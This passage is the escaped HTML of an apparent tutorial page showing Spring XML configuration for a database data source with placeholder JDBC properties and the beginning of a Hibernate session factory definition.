&lt;table border=&quot;1&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;MsoTableGrid&quot; style=&quot;border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-padding-alt: 0cm 5.4pt 0cm 5.4pt; mso-yfti-tbllook: 1184;&quot;&gt;
 &lt;tbody&gt;
&lt;tr&gt;
  &lt;td style=&quot;background: #A6A6A6; border: none; mso-background-themecolor: background1; mso-background-themeshade: 166; padding: 0cm 5.4pt 0cm 5.4pt; width: 478.8pt;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;background: silver; color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-highlight: silver;&quot;&gt;beans&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;xmlns&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;http://www.springframework.org/schema/beans&quot;&lt;/span&gt;&lt;/i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: #7f007f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;xmlns:xsi&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;=&lt;/span&gt;&lt;i&gt;&lt;span style=&quot;color: #2a00ff; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&quot;http://www.w3.org/2001/XMLSchema-instance&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: #7f007f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;xsi:schemaLocation&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;=&lt;/span&gt;&lt;i&gt;&lt;span style=&quot;color: #2a00ff; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&quot;http://www.springframework.org/schema/beans&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;i&gt;&lt;span style=&quot;color: #2a00ff; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;http://www.springframework.org/schema/beans/spring-beans-2.5.xsd&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;bean&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: #7f007f;&quot;&gt;class&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;org.springframework.beans.factory.config.PropertyPlaceholderConfigurer&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;color: teal;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;property&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;name&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;location&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;color: teal;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;value&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;WEB-INF/classes/resources/&lt;u&gt;config&lt;/u&gt;/database/properties/database.properties&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;value&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;property&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;bean&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;bean&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;id&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;dataSource&quot;&lt;/span&gt;&lt;/i&gt;
  &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: #7f007f;&quot;&gt;class&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;org.springframework.jdbc.datasource.DriverManagerDataSource&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;color: teal;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;property&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;name&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;driverClassName&quot;&lt;/span&gt;&lt;/i&gt;
  &lt;span style=&quot;color: #7f007f;&quot;&gt;value&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;${jdbc.driverClassName}&quot;&lt;/span&gt;&lt;/i&gt; &lt;span style=&quot;color: teal;&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;property&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;name&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;url&quot;&lt;/span&gt;&lt;/i&gt;
  &lt;span style=&quot;color: #7f007f;&quot;&gt;value&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;${jdbc.url}&quot;&lt;/span&gt;&lt;/i&gt; &lt;span style=&quot;color: teal;&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;property&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;name&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;username&quot;&lt;/span&gt;&lt;/i&gt;
  &lt;span style=&quot;color: #7f007f;&quot;&gt;value&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;${jdbc.username}&quot;&lt;/span&gt;&lt;/i&gt; &lt;span style=&quot;color: teal;&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;property&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;name&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;password&quot;&lt;/span&gt;&lt;/i&gt;
  &lt;span style=&quot;color: #7f007f;&quot;&gt;value&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;${jdbc.password}&quot;&lt;/span&gt;&lt;/i&gt; &lt;span style=&quot;color: teal;&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;bean&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;background: silver; color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-highlight: silver;&quot;&gt;beans&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;o:p&gt;&lt;b&gt;&amp;nbsp;resources/config/spring/HibernateSessionFactory.xml&lt;/b&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;table border=&quot;1&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;MsoTableGrid&quot; style=&quot;border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-padding-alt: 0cm 5.4pt 0cm 5.4pt; mso-yfti-tbllook: 1184;&quot;&gt;
 &lt;tbody&gt;
&lt;tr&gt;
  &lt;td style=&quot;background: #A6A6A6; border: none; mso-background-themecolor: background1; mso-background-themeshade: 166; padding: 0cm 5.4pt 0cm 5.4pt; width: 478.8pt;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;xml&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;version&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;1.0&quot;&lt;/span&gt;&lt;/i&gt;
  &lt;span style=&quot;color: #7f007f;&quot;&gt;encoding&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;UTF-8&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;color: teal;&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;beans&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;xmlns&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;http://www.springframework.org/schema/beans&quot;&lt;/span&gt;&lt;/i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: #7f007f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;xmlns:xsi&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;=&lt;/span&gt;&lt;i&gt;&lt;span style=&quot;color: #2a00ff; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&quot;http://www.w3.org/2001/XMLSchema-instance&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: #7f007f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;xsi:schemaLocation&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;=&lt;/span&gt;&lt;i&gt;&lt;span style=&quot;color: #2a00ff; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&quot;http://www.springframework.org/schema/beans&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;i&gt;&lt;span style=&quot;color: #2a00ff; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;http://www.springframework.org/schema/beans/spring-beans-2.5.xsd&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: #3f5fbf; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;!-- &lt;u&gt;Hibernate&lt;/u&gt;
  session factory --&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;bean&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;id&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;sessionFactory&quot;&lt;/span&gt;&lt;/i&gt;
  &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: #7f007f;&quot;&gt;class&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;org.springframework.orm.hibernate3.LocalSessionFactoryBean&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;color: teal;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;property&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;name&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;dataSource&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;color: teal;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;ref&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;bean&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;dataSource&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;color: teal;&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
